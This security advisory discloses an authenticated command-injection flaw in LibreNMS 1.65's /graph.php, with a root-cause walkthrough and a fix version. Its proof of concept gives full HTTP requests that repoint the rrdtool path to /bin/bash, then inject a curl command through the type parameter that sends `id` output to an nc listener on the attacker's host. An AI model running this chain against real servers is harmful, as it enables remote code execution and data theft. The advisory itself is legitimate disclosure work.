LibreNMS /graph.php Authenticated Command Injection
Summary
LibreNMS 1.65 is affected by an authenticated command-injection vulnerability via the HTTP GET title
parameter in the /graph.php
API endpoint. A ’normal’ privileges attacker can gain Remote Code Execution (RCE) on the LibreNMS host.
Product Description (from vendor)
“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.
CVE(s)
Details
Root Cause Analysis
The title
parameter in the API endpoint /graph.php
is used to define the title of the graph produced by rrdtool
, as we can see at https://github.com/librenms/librenms/blob/1.65/includes/html/graphs/graph.inc.php :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?php
use LibreNMS\Config;
// Push $_GET into $vars to be compatible with web interface naming
foreach ($_GET as $name => $value) {
--> $vars[$name] = $value;
}
list($type, $subtype) = extract_graph_type($vars['type']);
[...]
--> graph_error("$type*$subtype ");
[...]
function graph_error($string)
{
global $vars, $debug, $graphfile;
$vars['bg'] = 'FFBBBB';
include 'includes/html/graphs/common.inc.php';
$rrd_options .= ' HRULE:0#555555';
--> $rrd_options .= " --title='".$string."'";
|
Such options will be written in the STDIN pipe of a new process started by calling the configured rrdtool
binary in https://github.com/librenms/librenms/blob/1.65/LibreNMS/Data/Store/Rrd.php#L77 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?php
[...]
$command = Config::get('rrdtool', 'rrdtool') . ' -';
$descriptor_spec = [
0 => ['pipe', 'r'], // stdin is a pipe that the child will read from
1 => ['pipe', 'w'], // stdout is a pipe that the child will write to
2 => ['pipe', 'w'], // stderr is a pipe that the child will write to
];
$cwd = Config::get('rrd_dir');
if (!$this->isSyncRunning()) {
--> $this->sync_process = new Proc($command, $descriptor_spec, $cwd);
|
By using LibreNMS /about Authenticated Command Injection it is possible to set the rrdtool
to an arbitrary binary on the LibreNMS host. By setting it to a shell, e.g. ‘/bin/bash’, and using a malicious title
parameter it is possible to inject arbitrary shell commands in the “rrdtool” call.
Proof of Concept
- Start a TCP listener on a host reachable by the target LibreNMS server, e.g.:
1
2
| $ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
|
- Log-in LibreNMS and take note of the
X-CSRF-TOKEN
HTTP header and XSRF-TOKEN
and laravel_session
HTTP cookies values - Edit with your own values and perform the following HTTP request:
1
2
3
4
5
6
7
8
9
10
| PUT /settings/rrdtool HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <EDIT>
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>
{"value":"/bin/bash"}
|
- Request the LibreNMS endpoint
[LibreNMS host ip/hostname]/graph.php
with a malicious type
parameter (edit again where noted):
1
2
3
4
5
6
7
8
| GET /graph.php?from=1&to=2&width=10&height=100&type=device_test%27%3bcurl+--data+%22`id`%22+<EDIT>:8008+%23 HTTP/1.1
Host: 192.168.252.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
X-CSRF-TOKEN: <EDIT>
X-Requested-With: XMLHttpRequest
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>
|
Note: do not use any /
in the type
parameter because a basename
call is performed and it would break the exploit.
The request will trigger the malicious command execution and send the HTTP request to our listener:
1
2
3
4
5
6
7
8
9
10
11
| $ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
Connection from 192.168.252.129 60006 received!
POST /rce HTTP/1.1
User-Agent: curl/7.29.0
Host: 192.168.252.1:8008
Accept: */*
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
uid=996(nginx) gid=48(apache) groups=48(apache),1001(librenms) context=system_u:system_r:httpd_t:s0
|
Impact
A low-privileged attacker can gain Remote Code Execution (RCE) on the LibreNMS host.
The title
parameter is now correctly sanitized.
Upgrade to LibreNMS 1.65.1 or later.
Disclosure Timeline
This report was subject to Shielder’s disclosure policy:
- 08/07/2020:
- Report sent to LibreNMS’ lead developer
murrant
- Vendor acknowledges issue and begins triage process
- 10/07/2020:
Credits
`polict` of Shielder
This advisory was first published on https://www.shielder.com/advisories/librenms-graph-authenticated-command-injection/